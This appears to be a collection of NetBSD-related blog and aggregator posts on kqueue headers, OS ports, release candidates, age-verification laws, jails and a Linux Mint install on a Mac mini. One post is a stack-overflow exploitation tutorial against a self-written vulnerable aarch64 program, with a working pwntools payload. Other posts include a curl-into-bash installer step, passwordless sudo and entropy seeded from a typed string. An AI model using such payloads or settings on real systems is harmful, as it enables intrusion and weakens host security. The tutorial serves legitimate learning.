The kevent structure is defined as follow. Specifically, the field udata is a pointer for some user-specific data structure.

struct kevent {
        uintptr_t       ident;          /* identifier for this event */
        short           filter;         /* filter for event */
        u_short         flags;
        u_int           fflags;
        intptr_t        data;
        void            *udata;         /* opaque user data identifier */
};

This is true on all the above-mentioned systems, except for NetBSD where the documentation and the system headers are inconsistent.

$ uname -a
NetBSD vminetbsd 10.1 NetBSD 10.1 (GENERIC) #0: Mon Dec 16 13:08:11 UTC 2024  [email protected]:/usr/src/sys/arch/amd64/compile/GENERIC amd64
$ grep udata /usr/include/sys/event.h
        intptr_t        udata;          /* opaque user data identifier */

Here, the udata field is an integer and the compilation of the application fails when passing the address of a user data structure. Of course, it is possible to use some type cast in some #ifdef structure to make the application portable, although much less readable.

However, this is not so simple.

On the very same NetBSD system, man kqueue also displays intptr_t udata. However, the NetBSD web site documents the opposite.

On https://man.netbsd.org/kqueue.2, the title is "kqueue(2) - NetBSD Manual Pages" and the content says "void *udata", not integer.

The NetBSD web site also contains a nice kqueue tutorial in https://wiki.netbsd.org/tutorials/kqueue_tutorial/ which also says "void *udata", not integer.

So, it seems that NetBSD is somewhat inconsistent. The website and official documentation pretend to be "standard", or at least like all other BSD. But a real system with the latest version (10.1) contains something different, both in the header and the man page.

Can we say that this is a bug in NetBSD? And where should we report those bugs?

Using a type cast in the application code with #ifdef on NetBSD will then become incorrect later if they fix the issue.

Twenty years of orbiting is a good run, I’d say.

Thank you to everyone in the NetBSD community whose posts kept the planet spinning all these years, and thank you to Venus — and Sam Ruby before it — for making the aggregator possible in the first place. Now we must say goodbye to things Python 2.7.

Since its launch in 2007, the Wii has seen several operating systems ported to it: Linux, NetBSD, and most-recently, Windows NT. Today, Mac OS X joins that list.

In this post, I’ll share how I ported the first version of Mac OS X, 10.0 Cheetah, to the Nintendo Wii. If you’re not an operating systems expert or low-level engineer, you’re in good company; this project was all about learning and navigating countless “unknown unknowns”. Join me as we explore the Wii’s hardware, bootloader development, kernel patching, and writing drivers – and give the PowerPC versions of Mac OS X a new life on the Nintendo Wii.

↫ Bryan Keller

And all of this, because someone on Reddit said it couldn’t be done. It won’t surprise you to learn that the work required was extensive, from writing a custom bootloader to digging through the XNU source code, applying binary patches to the kernel during the boot process, building a device tree, writing the necessary drivers, and so much more. Even just setting up a development environment was a pretty serious undertaking.

Especially writing the drivers posed an interesting and unique challenge, as the Wii doesn’t use PCI to connect and expose its hardware components. Instead, components are connected to a dedicated SoC with its own ARM processor that talks to the main Wii PowerPC processor, exposing hardware that way. This meant that Keller had to write a driver for this chip first, before moving on to the device drivers for devices connected to this ARM SoC – graphics drivers, input drivers, and so on.

After a ton more work and overcoming several complex roadblocks, we now have Mac OS X 10.0 Cheetah on the Nintendo Wii. Amazing.

This year sees 35 years since 2.11BSD was announced on March 14, 1991 – itself a slightly late celebration of 20 years of the PDP-11 – and January 2026 brought what looks to be the venerable 16-bit OS’s biggest ever patch!

Much of the 1.3 MB size is due to Anders Magnusson, well-known for his work on NetBSD and the Portable C Compiler. Since 2.11BSD’s stdio was not ANSI compliant, he’s ported from 4.4BSD.

↫ BigSneakyDuck at Reddit

There’s an incredible amount of work in here on this old variant of BSD, including fixes for old bugs and tons of other changes. This, the 499th patch for 2.11BSD, is so big, in fact, that vi on 2.11BSD can’t handle the size of the files, so you’re going to need to cut them up with sed, for which instructions are included.

It’s quite unique to see such a big update on the 35th anniversary of an operating system.

The NetBSD project is pleased to announce the third (and probably final) release candidate of the upcoming 11.0 release, please help testing!
See the release announcement for details.

The netbsd-11 release branch is nearly a year old now, so it is high time the 11.0 release makes it to the front stage.

Unfortunately the first release candidate had a few defects that we had to fix, including speed enhancements for the ftp(1) client when downloading large files, an updated tmux(1), reliability fixes for blocklistd(8) and fixes for the Mesa library. See the changes document for details.

Please note that various ISO images have been split into small ones for CD/R media and full featured DVD ones. If you are not restricted by the size limits of a CD/R medium, make sure to pick the image with "-dvd.iso" in the name.

If you want to test 11.0 RC3 please check the installation notes for your architecture and download the preferred install image from the CDN or if you are using an ARM based device from the netbsd-11 builds from the bootable ARM images page.

If you have any issues with installation or run into issues with the system during use, please contact us on one of the mailing lists or file a problem report.

Several US states, the country of Brazil, and I’m sure other places in the world have enacted or are planning to enact laws that would place the burden of age verification of users on the shoulders of operating system makers. The legal landscape is quite fragmented at this point, and there’s no way to tell which way these laws will go, with tons of uncertainties around to whom these laws would apply, if it targets accounts for application store access or the operating system as a whole, what constitutes an operating system in the first place, and many more. Still, these laws are already forcing major players like Apple to implement sharing self-reported age brackets with application developers (at least in iOS), so there’s definitely something happening here.

In recent weeks, the open source world has also been confronted with the first consequences of these laws, as both systemd and xdg-desktop-portal have responded to operating system-level age verification laws in, among other places, California and Colorado, by adding birthDate to userdb (on systemd’s side) and developing an age verification portal (on xdg-desktop-portal’s side) for use by Flatpaks. The age verification portal would then use the value set in usrdb’s birthDate as its data source. The value in birthDate would only be modifiable by an administrator, but can be read by users, applications, and so on.

Crucially, this field is entirely optional, and distributions, desktop environments, and users are under zero obligation to use it or to enter a truthful value. In fact, contrary to countless news items and comments about these additions, nothing about this even remotely constitutes as “age verification”, as nothing – not the government, not the distribution or desktop environments, not the user – has to or even can verify anything. If these changes make it to your distribution, you don’t have to suddenly show your government ID, scan your face, or link your computer to some government-run verification service, or even enter anything anywhere in the first place.

Furthermore, while the xdg-desktop-portal’s proposals are still fluid and subject to change, consensus seems to be to only share age brackets with applications, instead of full birth dates or specific ages – assuming anything has even been entered in the birthDate field in the first place. Even if your Linux distribution and/or desktop environment implements everything needed to support these changes and expose them to you in a nice user interface, everything about it is optional and under your full control. The field is of the same type as the existing fields emailAddress, realName, and location, which are similarly entirely optional and can be left empty if desired.

Taken in isolation, then, as it currently stands, there’s really not much meat to these changes at all. The primary reason to implement these changes is to minimally comply with the new laws in California, Colorado, Brazil, and other places, and it’s understandable why the people involved would want to do so. If they do not, they could face lawsuits, fines, or worse, and I don’t know about you, but I wouldn’t want to be on the receiving end of the western world’s most incompetent justice system. Aside from that, these changes make it possible to build robust parental controls, which isn’t mentioned in the original commits to systemd, but is clearly the main focal point of xdg-desktop-portal’s proposal.

This all seems well and good, but given today’s political climate in the United States, as well as the course of history, that “as it currently stands” is doing a lot of heavy lifting. Rightfully so, a lot of people are worried about where this could lead. Sure, today these are just inconsequential, optional changes in response to what seems to be misguided legislation, but what happens once these laws are tightened, become more demanding, and start requiring a lot more than just a self-reported age bracket?

In Texas, for instance, H.B. 1131 requires any commercial entity, including websites, that contains more than one-third “sexual material harmful to minors” to implement age verification tools using things like government-issued IDs or bank transaction data to verify visitors’ ages before allowing them in. The UK has a similar law on the books, too. It’s not difficult to imagine how some other law will eventually shift this much stricter, actual age verification from websites and applications into operating systems instead. What will systemd’s and xdg-desktop-portal’s developers do, then? Will they comply as readily then as they do now?

This is a genuine worry, especially if you already belong to a group targeted by the current US administration, or were face-scanned by ICE at a protest. Large groups of especially religious extremists consider anything that’s LGBTQ+ to be “sexual material harmful to minors”, even if it’s just something normal like a gay character in a TV show. It’s not hard to imagine how age verification laws, especially if they force age verification at the operating system level, can become weaponised to target the LGBTQ+ community, other minorities, and people protesting the Trump regime.

You may think this won’t affect you, since you’re using an open source operating system like desktop Linux or one of the BSDs, and surely they are principled enough to ignore such dangerous laws and simply not comply at all, right? Sadly, here’s where the idealism and principles of the open source world are going to meet the harsh boot of reality; while open source software has a picturesque image of talented youngsters hacking away in their bedrooms, the reality is that most of the popular open source operating systems are actually hugely complex operations that require a ton of funding, and that funding is often managed by foundations. And guess where most popular Linux distributions’ and BSD variants’ foundations are located?

Developers from all over the world may contribute to Debian, but all of its financials and trademarks are managed by Software in the Public Interest, domiciled in New York State. Fedora is part of Red Hat, owned by IBM, and we all know IBM. Arch Linux’ donations are also managed by Software in the Public Interest. The Gentoo Foundation is domiciled in New Mexico. The FreeBSD Foundation is domiciled in Boulder, Colorado. The NetBSD Foundation is domiciled in Delaware. Ubuntu is a Canonical product, a company headquartered in London, UK, a country with strict age verification laws for websites and applications. Hell, even Haiku, Inc. is domiciled in New York State. I could go on, but you get the gist: all of these projects manage their donations, financials, trademarks, and related issues in the United States (or the UK for Ubuntu).

It’s relatively easy for these projects to take a principled stance against the relatively limited age verification laws that exist today, but what about if and when these laws are expanded to infiltrate the very operating systems we use? It’s easy to resist the boot when it’s pressing down on some porn website or a sex worker’s OnlyFans page, but once that same boot is pressing down on your own throat? That’s a whole different story. Will Debian, FreeBSD, or Fedora still stand their ground when the organisations managing their donations, finances, and trademarks become the target of lawsuits or the US justice system, because they refuse to implement age verification?

I sincerely doubt it.

And this is why I am of two minds about this issue. On the one hand, I fully understand that the various developers involved with these efforts want to make sure they follow the law and avoid getting fined – or worse – especially since compliance requires so little at this time. On top of that, these changes make it possible to implement a fairly robust set of parental controls in a centralised way, keeping the data involved where it makes sense, so it also brings a number of benefits for users. There really isn’t anything to worry about when looking at these changes in isolation.

On the other hand, though, I also understand the fears and worries from people who see these changes as the first capitulation to age verification, nicely making the bed for much stricter age verification laws I’m sure certain parts of the political compass are already dreaming about. With so many Linux distributions, BSD variants, and even alternative operating systems having their legal domiciles in the United States, it’s not unreasonable to assume they’re going to fold under any possible legal pressure that comes with such laws.

I’m not rushing to replace my Fedora KDE installations with something else at this point, but I’m definitely going to explore my options on at least one of my machines and go from there, so I at least won’t be caught with my pants down in the future. The world isn’t ending, age verification hasn’t come to Linux, but we’d all do well to remain skeptical and prepare for when it does make its way into our open source operating systems.

For some time, I have ventured into low(er)level hacking & cybersecurity at OverTheWire and pwn.college. Today, a LOT of security & hacking is focussed on Linux/x86, but we all know there is more. More operating systems, and more CPUs. In the area of binary exploitation, I wondered if the basic tools for that work on NetBSD/aarch64 (ARM), and I had a look. Spoiler: they do!

Here's an example of pwning on NetBSD/aarch64 (ARM).

Preparation

Step 0: Install NetBSD/aarch64, e.g. in qemu.

Setup the basics:

su root -c pkg_add -v https://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/aarch64/11.0_2025Q4/All/pkgin-25.10.0.tgz
su root -c "pkgin install sudo"
sudo pkgin install bash

Install pwntools & friends:

sudo pkgin install python311 # not newer... pwntools...
sudo pkgin install rust
sudo pkgin install cmake pkg-config openssl
sudo pkgin install gmake
sudo pkgin install vim # for xxd, not the shoddy editor that comes with it

When going for pwntools & friends, python 3.11 is the version of choice - newer versions of python are not supported there:

python3.11 -m venv venv-pwn
. ./venv-pwn/bin/activate
pip install "capstone<6" pwntools # same as on macos with angr

Install gef in its usual place, just in case:

sudo mkdir -p /opt/gef
sudo wget https://github.com/hugsy/gef/raw/main/gef.py -O /opt/gef/gef.py

gdb - better colors etc. via .gdbinit (default gdb really looks bad on black terminals):

(venv-pwn) qnetbsd$ cat ~/.gdbinit
#set disassembly-flavor intel # disable on ARM :-)
set follow-fork-mode child

set style address foreground cyan
set style function foreground cyan
set style disassembler immediate foreground cyan

pwn v1

First pwn attempt:

#include <stdio.h>
#include <stdlib.h>

void win(void)
{
	printf("Goodbye, winner.\n");
	exit(0);
}

void vuln(void)
{
	char name[16];

	printf("What is your name? ");
	gets(name);
	printf("Hello %s\n", name);

	return;
}

int main(void)
{
	vuln();
	return 0;
}

Due to differences between x86 and ARM, a simple buffer overflow to overwrite e.g. the return address cannot be done. On ARM, the return address of a function is not stored on the stack but in the X30 register. The crash observed when running this is due to random other values being overwritten.

(venv-pwn) qemubsd$ gcc -ggdb win1.c -o win1
ld: /tmp//ccdWZtt2.o: in function `vuln':
/home/feyrer/tmp/win1.c:15:(.text+0x34): warning: warning: this program uses gets(), which is unsafe.
(venv-pwn) qemubsd$ pwn checksec  win1
[!] Could not populate PLT: Failed to load the Unicorn dynamic library
[*] '/home/feyrer/tmp/win1'
    Arch:       aarch64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX disabled
    PIE:        No PIE (0x200100000)
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes

Not that many security features on by default. What's going on, NetBSD?! Ignoring this for now, let's look at the assembly code:

(venv-pwn) qnetbsd$ gdb -q -ex 'disas vuln' win1
Reading symbols from win1...
Dump of assembler code for function vuln:
   0x00000002001009f4 <+0>:	stp	x29, x30, [sp, #-32]!
   0x00000002001009f8 <+4>:	mov	x29, sp
   0x00000002001009fc <+8>:	adrp	x0, 0x200100000
   0x0000000200100a00 <+12>:	add	x0, x0, #0xaf8
   0x0000000200100a04 <+16>:	bl	0x200100730 <printf@plt>
   0x0000000200100a08 <+20>:	add	x0, sp, #0x10
   0x0000000200100a0c <+24>:	bl	0x200100790 <gets@plt>
   0x0000000200100a10 <+28>:	add	x0, sp, #0x10
   0x0000000200100a14 <+32>:	mov	x1, x0
   0x0000000200100a18 <+36>:	adrp	x0, 0x200100000
   0x0000000200100a1c <+40>:	add	x0, x0, #0xb10
   0x0000000200100a20 <+44>:	bl	0x200100730 <printf@plt>
   0x0000000200100a24 <+48>:	nop
   0x0000000200100a28 <+52>:	ldp	x29, x30, [sp], #32
   0x0000000200100a2c <+56>:	ret
End of assembler dump.
(gdb)

Note the STP and LDP instructions which save and restore the X29 (frame pointer) and X30 (return address) registers of the calling function (main). By overwriting them, main's "RET" will do funny things. While this can still be exploited, let's make things a bit easier in the next attempt.

pwn v2

Here we add a function pointer "goodbye" that can be overwritten:

#include <stdio.h>
#include <stdlib.h>

void lose(void)
{
	printf("Goodbye, loser.\n");
	exit(0);
}

void win(void)
{
	printf("Goodbye, winner.\n");
	exit(0);
}

void vuln(void)
{
	void (*goodbye)(void) = lose;
	char name[16];

	printf("What is your name? ");
	gets(name);
	printf("Hello %s\n", name);

	goodbye();

	return;
}

int main(void)
{
	vuln();
	return 0;
}

It's pretty obvious what's happening, but for the sake of completeness:

(venv-pwn) qnetbsd$ echo huhu | ./win2
What is your name? Hello huhu
Goodbye, loser.

Let's look at the assembly output again:

(venv-pwn) qnetbsd$ gdb -q -ex 'disas vuln' win2
Reading symbols from win2...
Dump of assembler code for function vuln:
   0x0000000200100a10 <+0>:	stp	x29, x30, [sp, #-48]!
   0x0000000200100a14 <+4>:	mov	x29, sp
   0x0000000200100a18 <+8>:	adrp	x0, 0x200100000
   0x0000000200100a1c <+12>:	add	x0, x0, #0x9d8
   0x0000000200100a20 <+16>:	str	x0, [sp, #40]
   0x0000000200100a24 <+20>:	adrp	x0, 0x200100000
   0x0000000200100a28 <+24>:	add	x0, x0, #0xb38
   0x0000000200100a2c <+28>:	bl	0x200100730 <printf@plt>
   0x0000000200100a30 <+32>:	add	x0, sp, #0x18
   0x0000000200100a34 <+36>:	bl	0x200100790 <gets@plt>
   0x0000000200100a38 <+40>:	add	x0, sp, #0x18
   0x0000000200100a3c <+44>:	mov	x1, x0
   0x0000000200100a40 <+48>:	adrp	x0, 0x200100000
   0x0000000200100a44 <+52>:	add	x0, x0, #0xb50
   0x0000000200100a48 <+56>:	bl	0x200100730 <printf@plt>
=> 0x0000000200100a4c <+60>:	ldr	x0, [sp, #40]               <===
=> 0x0000000200100a50 <+64>:	blr	x0                          <===
   0x0000000200100a54 <+68>:	nop
   0x0000000200100a58 <+72>:	ldp	x29, x30, [sp], #48
   0x0000000200100a5c <+76>:	ret
End of assembler dump.
(gdb)

Note the LDR and BLR instructions at 0x0000000200100a4c - The X0 register is loaded with our function pointer by LDR, and BLR does the actual call.

By overwriting the pointer, we can call another function. Let's use pwn cyclic to find out what's actually in x0 at the time of the BLR call:

(venv-pwn) qnetbsd$ pwn cyclic 100 >c
(venv-pwn) qnetbsd$ gdb  -q -ex 'set pagination off' -ex 'b *0x0000000200100a50' -ex 'run <c' -ex 'i r x0' win
Reading symbols from win...
Breakpoint 1 at 0x200100a50: file win.c, line 25.
Starting program: /home/feyrer/tmp/win <c
What is your name? Hello aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Breakpoint 1, 0x0000000200100a50 in vuln () at win.c:25
25		goodbye();
x0             0x6161616661616165  7016996786768273765
(gdb) ! pwn cyclic -l 0x6161616661616165
16
(gdb) print win
$1 = {void (void)} 0x2001009f4 <win>

The function pointer is 16 bytes from the start of our name buffer, and we have the address of the win function. So let's construct our input:

(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | xxd
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: f409 1000 0200 0000                      ........

Looks good, so call it:

(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2
What is your name? Hello AAAAAAAAAAAAAAAA
Goodbye, winner.
(venv-pwn) qnetbsd$ uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026  [email protected]:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm

Success

Voila, ARM pwnage on NetBSD! :-)

(venv-pwn) qnetbsd$ echo huhu | ./win2
What is your name? Hello huhu
Goodbye, loser.
(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2
What is your name? Hello AAAAAAAAAAAAAAAA�
Goodbye, winner.
(venv-pwn) qnetbsd$ uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026  [email protected]:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm 

I'm positively impressed by the whole toolchain working as expected, given that e.g. pwntools starts compiling rust when installing. Well done, NetBSD!

On security & compiler flags

(venv-pwn) qemubsd$ gcc -ggdb -fstack-protector-all -fpie -pie -Wl,-z,relro,-z,now win1.c -o win1-prot
ld: /tmp//ccE3ncle.o: in function `vuln':
/home/feyrer/tmp/win1.c:15:(.text+0x64): warning: warning: this program uses gets(), which is unsafe.
(venv-pwn) qemubsd$ pwn checksec win1-prot
[!] Could not populate PLT: Failed to load the Unicorn dynamic library
[*] '/home/feyrer/tmp/win1-prot'
    Arch:       aarch64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX disabled
    PIE:        PIE enabled
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes

1st try: VirtualBox

Download:
https://cdn.netbsd.org/pub/NetBSD/NetBSD-11.0_RC2/evbarm-aarch64/binary/gzimg/arm64.img.gz

Convert img to VDI:

qemu-img convert -f raw -O vdi arm64.img arm64.vdi

Setup VirtualBox VM with .vdi file as existing harddisk.

Result: VirtualBox (not the VM!) crashed. Oh well.

2nd try: QEMU

After VirtualBox didn't work, I wanted to see if qemu (running on MacOS) works. Spoiler: it does, and here are the steps to get things going:

First, grab the kernel:
https://cdn.netbsd.org/pub/NetBSD/NetBSD-11.0_RC2/evbarm-aarch64/binary/kernel/netbsd-GENERIC64.img.gz
...and gunzip. Make sure kernel and userland versions match!

Run in QEMU:

qemu-system-aarch64 -M virt,accel=hvf -cpu host -smp 4 \
	-m 4g -drive if=none,format=raw,file=arm64.img,id=hd0 \
	-device virtio-blk-device,drive=hd0 -netdev user,id=net0 \
	-device virtio-net-device,netdev=net0 -kernel netbsd-GENERIC64.img \
	-append root=dk1 -nographic

How to leave QEMU: Ctrl-A X

Troubleshooting: Make sure kernel and userland match - else random segfaults will happen.

Userland setup

Quite a few settings are already OK (sshd, dhcpcd, ntp), which is not the default I remember from a few years ago, but that's nice and convenient. I still wanted to see what config settings are new, and here are my additions to /etc/rc.conf:

hostname="qnetbsd"
rndctl=yes
certctl_init=yes
ip6mode=autohost
ntpdate=NO

On first login you will see an unsafe keys warning:

-- UNSAFE KEYS WARNING:

        The ssh host keys on this machine have been generated with
        not enough entropy configured, so they may be predictable.

        To fix, follow the "Adding entropy" section in the entropy(7)
        man page.  After this machine has enough entropy, re-generate
        the ssh host keys by running:

                /etc/rc.d/sshd keyregen

Fix by feeding entropy, then reboot:

echo lkajsdflkjasdflkjasdlkfjoiasjdfiojasdkf >/dev/random
shutdown -r now

Note: Use shutdown(8), not reboot(8) or poweroff(8) - only shutdown runs the hooks that save entropy.

After reboot, regenerate SSH keys:

/etc/rc.d/sshd keyregen

Success

neuland% qemu-system-aarch64 -M virt,accel=hvf -cpu host -smp 4 -m 4g \
  -drive if=none,format=raw,file=arm64.img,id=hd0 \
  -device virtio-blk-device,drive=hd0 \
  -netdev user,id=net0 -device virtio-net-device,netdev=net0 \
  -kernel netbsd-GENERIC64.img -append root=dk1 -nographic
[   1.0000000] NetBSD/evbarm (fdt) booting ...
[   1.0000000] NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026
...
NetBSD/evbarm (qnetbsd) (constty)

login: root
NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026
Welcome to NetBSD!

qnetbsd# uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026  [email protected]:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm

Summary

Not providing a working VirtualBox image in 2026 is painful for new users. As Kali Linux works fine in VirtualBox on the same hardware, I'd say there is some way to go, NetBSD!

The manual setup works, but needs some tweaks beyond the expected (/etc/rc.conf), exp. manual entropy setup was surprising as network and disk were working ok. I did expect those to be used as sources of randomness before the first SSH keys are generated.

We'll see where things go from there. For now I can (at least for QEMU on my Mac) say: Of course it runs NetBSD! :-)

The NetBSD project is pleased to announce the second release candidate of the upcoming 11.0 release, please help testing!
See the release announcement for details.

The netbsd-11 release branch is nearly a year old now, so it is high time the 11.0 release makes it to the front stage.

Unfortunately the first release candidate had a few defects that we had to fix, including speed enhancements for the ftp(1) client when downloading large files, an updated tmux(1), reliability fixes for blocklistd(8) and fixes for the Mesa library. See the changes document for details.

Please note that various ISO images have been split into small ones for CD/R media and full featured DVD ones. If you are not restricted by the size limits of a CD/R medium, make sure to pick the image with "-dvd.iso" in the name.

If you want to test 11.0 RC2 please check the installation notes for your architecture and download the preferred install image from the CDN or if you are using an ARM based device from the netbsd-11 builds from the bootable ARM images page.

If you have any issues with installation or run into issues with the system during use, please contact us on one of the mailing lists or file a problem report.

FreeBSD has its jails technology, and it seems NetBSD might be getting something similar soon.

Jails for NetBSD aims to bring lightweight, kernel-enforced isolation to NetBSD.

[…]

The system is intended to remain fully NetBSD-native. Isolation and policy enforcement are integrated into the kernel’s security framework rather than implemented in a separate runtime layer.

It does not aim to become a container platform. It does not aim to provide virtualization.

↫ Matthias Petermann

It has all the usual features you have come to expect from jails, like resource quota, security profiles, logging, and so on. Processes inside jails have no clue they’re in a jail, and using supervisor mode, jails are descendent from a single process and remain visible in the host process table. Of course, there’s many more features listed in the linked article.

It’s in development and not a default part of NetBSD at this time. The project, led by Matthias Petermann, is developed out of tree, with an unofficial NetBSD 10.1 ISO with the jails feature included available as well.

My email inbox is like the pile of documents on my desk. Things that I wanted to get back to ends up moving towards the bottom, into the never-ending pile of … stuff. For the first time in a while, I have looked at the bottom – and found an inquiry from someone who had seen my presentation at FOSDEM 2024.

They had a question for me, which I am going to paraphrase below. I am going to reproduce my answer here because it may be interesting for others.

Happy almost 2026!  Some end-of-year lists linked here.

• The annoyances of the traditional Unix ‘logger’ program.
• Grow slowly, stay small.  Anti-enshittification, if you will.  Related.
• MidnightBSD 4.0 is out.  (via)
• The original Mozilla “Dinosaur” logo artwork.
• The Typeframe PX-88 Portable Computing System.  But what’s this PS-85?(via)
• The Best Metal Albums and the Best Electronic Music of 2025.
• What are your favorite Shadertoys?
• “Greatest Comics of All Time” meta-list.  A statistical answer.  I would change the relative positions of some of them, but read anything listed that you haven’t already.  (via)
• The best comics of 2025, as chosen by our contributors.  Perhaps better, to follow up on.
• pkgsrc-2025Q4 released.

Last week, the VPN provider I previously used went dark for days and went back with no explanation. They have an history of not communicating much and their support does suck but TBH I almost never used it, nevertheless I felt it was time for a change. I asked on BlueSky for feedback and one of the suggestions caught my eye: IVPN.
They have very good reviews, support WireGuard and an OpenBSD developer worked there. Their documentation is very Linux-centric but very well put, yet -of course- it lacks examples for NetBSD. So here’s a simple way of setting up a WireGuard VPN with IVPN on NetBSD.

No theme, just fun.

• Dithering, part 1.  (via)
• A1 DEADLINE SPECIAL.  Resurrecting a high-water point in comics history with new stories.  (via)
• Ken Thompson interviewed in 2024.  Talking about inventing UNIX.
• Consider a year-end donation to NetBSD.  (via)
• Appendix N Jam.  The winners.  (via)
• Advanced Readings in D&D, a series.  Accidentally found while searching my own archives.
• OS6, an operating system I hadn’t heard of before.  (via)
• Mr. TIFF.  (via)
• Brenda.
• A Pentium in your hand.  These are almost becoming common.

My 2018 Mac mini (64G RAM, 2T SSD) has long been a trusty multi-VM pkgsrc and notqmail build machine, mostly via SSH. And during the first couple COVID years when I was still consulting independently but we were out of the country, it was also a trusty low-latency system for collaborative coding sessions with USA-based clients, mostly via screen sharing.

The mini still performs quite well. I still rely on it for keeping my NetBSD VPS running on the latest -current pkgsrc every week or so. But macOS NFS service had a tendency to be a source of annoyance and/or effort on each new major release. NetBSD’s NFS client got fixed, which was enough to get me by, but my Tribblix and Linux VMs had already been basically unusable for a while. And macOS had lately gotten a little unstable after reboot: sometimes misrendering the login screen, freezing after a correctly entered password, or suddenly pegging the fans for no apparent reason and powering abruptly off. So when macOS Tahoe dropped support for nearly all Intel Macs, I was already game to repave mine.

I generally prefer NetBSD when possible, and generally consider my non-NetBSD systems to be only temporarily so (e.g., Small ARMs). Hosting a pile of nvmm-accelerated VMs while also building natively for my primary NetBSD production target would have been a solid use case. But the 2018 mini has a T2 security chip that makes a bunch of basic onboard devices relatively difficult for an OS to attach, and Linux appears to be the only free OS that mostly deals with this. Even then, we’ll need a T2-customized installer and special attention.

1. Prepare installer

$ cd ~/Downloads
$ bash <<<1 <(curl -sL https://github.com/t2linux/T2-Mint/releases/latest/download/iso.sh)
$ sudo dd if=linuxmint-*-cinnamon-*-t2-*.iso of=/dev/$YOUR_USB_STICK
$ rm -f linuxmint-*-cinnamon-*-t2-*.iso

2. Prepare machine

1. Reboot and hold down Command-R.
2. In macOS Recovery, choose Utilities -> Startup Security Utility.
3. Secure Boot: No Security.
4. Allowed Boot Media: Allow booting from external or removable media.
5. Connect USB keyboard/mouse/Ethernet directly (not via Bluetooth or Thunderbolt dock).
6. Quit Startup Security Utility.

3. Install

1. Reboot and hold down Option.
2. Choose your USB stick.
3. In the live environment, open Terminal.
4. Wipe, partition, and format the disk:

   $ for i in \
   "mklabel gpt" \
   "mkpart ESP fat32 1MiB 513MiB" \
   "set 1 esp on" \
   "set 1 boot on" \
   "mkpart Root btrfs 513MiB 100%"; do
   sudo parted $YOUR_DISK_DEVICE $i
   done
   $ sudo mkfs.fat -F32 -n ESP ${YOUR_DISK_DEVICE}p1
   

5. In the live environment, run Install.
6. Instead of “Erase disk and install Linux Mint”, choose “Something else”.
7. Click the btrfs partition -> “Change…”.
8. Use as: btrfs journaling file system.
9. Format the partition: [x].
10. Mount point: /.
11. ”Install Now” and follow the prompts until “Installation Complete”.
12. DO NOT click “Continue Testing” or “Restart Now”. We’re not ready for the new install to be unmounted.

4. Tweak new install

1. Enter newly installed environment:

   $ for i in proc dev dev/pts; do
   sudo mount -B /$i /target/$i
   done
   $ sudo chroot /target
   

2. From now on, track configuration changes in git:

   # echo | apt install etckeeper
   # cd /etc
   # git branch -m pet-power-plant
   # git gc --prune
   

3. Configure grub:

   # echo 'GRUB_RECORDFAIL_TIMEOUT=0' > default/grub.d/60_skip_grub_prompt.cfg
   # etckeeper commit -m 'Skip grub prompt.'
   # update-grub
   

4. Give Mac boot picker a custom icon:

   # apt install libarchive-tools
   # curl -sL https://master.dl.sourceforge.net/project/mac-icns/mac-icns.iso \
   | bsdtar -xOf- iconverticons.com/os_linuxmint.icns \
   > /boot/efi/.VolumeIcon.icns
   

5. Return to the “Installation Complete” dialog (finally!) and click “Restart Now”.

5. Before first boot

1. When prompted, remove USB stick and press Enter.
2. On reboot, hold down Command-R.
3. In macOS Recovery, choose Utilities -> Terminal.
4. Give Mac boot picker a custom label:

   # diskutil list
   # diskutil mount /dev/$YOUR_EFI_SYSTEM_PARTITION_DEVICE
   # bless --folder /Volumes/ESP/EFI/BOOT --label "Linux Mint"
   

5. Reboot and hold down Option.
6. Observe the icon and label. Fancy! Someday you’ll hold down Option again, and this’ll help you disambiguate which volume you’re trying to boot.

6. First boot

1. Go for it!
2. Observe no grub prompt, just straight through the Mint logo to the login screen.
3. Log in.
4. Enable passwordless sudo:

   $ echo '%sudo ALL=(ALL: ALL) NOPASSWD: ALL' \
   | sudo tee /etc/sudoers.d/10sudo_nopasswd >/dev/null
   $ sudo chmod 440 /etc/sudoers.d/10sudo_nopasswd
   $ sudo etckeeper commit -m 'Skip sudo password prompt.'
   

5. Allowlist your Thunderbolt dock, if any:

   $ boltctl list                   # find your device's UUID
   $ sudo boltctl enroll --policy auto $YOUR_THUNDERBOLT_UUID
   

6. Fetch WiFi and Bluetooth firmware:

   $ sudo apt install dmg2img
   $ echo 7 | sudo get-apple-firmware get_from_online
   

7. Connect Ethernet/WiFi/mouse/keyboard as you prefer.
8. Enable T2 fan control and SSH service:

   $ echo | sudo apt install t2fanrd openssh-server
   $ sudo systemctl enable --now ssh
   $ sudo etckeeper commit -m 'Enable sshd.'
   

9. Update device firmware:

   $ echo y | sudo fwupdmgr get-updates
   

   (Note that the Mac’s EFI can’t be updated this way. The only way to update Mac EFI is as a side effect of installing the latest macOS.)
10. Follow the post-install Welcome prompts.
11. In “Account details”, add my photo.
12. Install some basics:

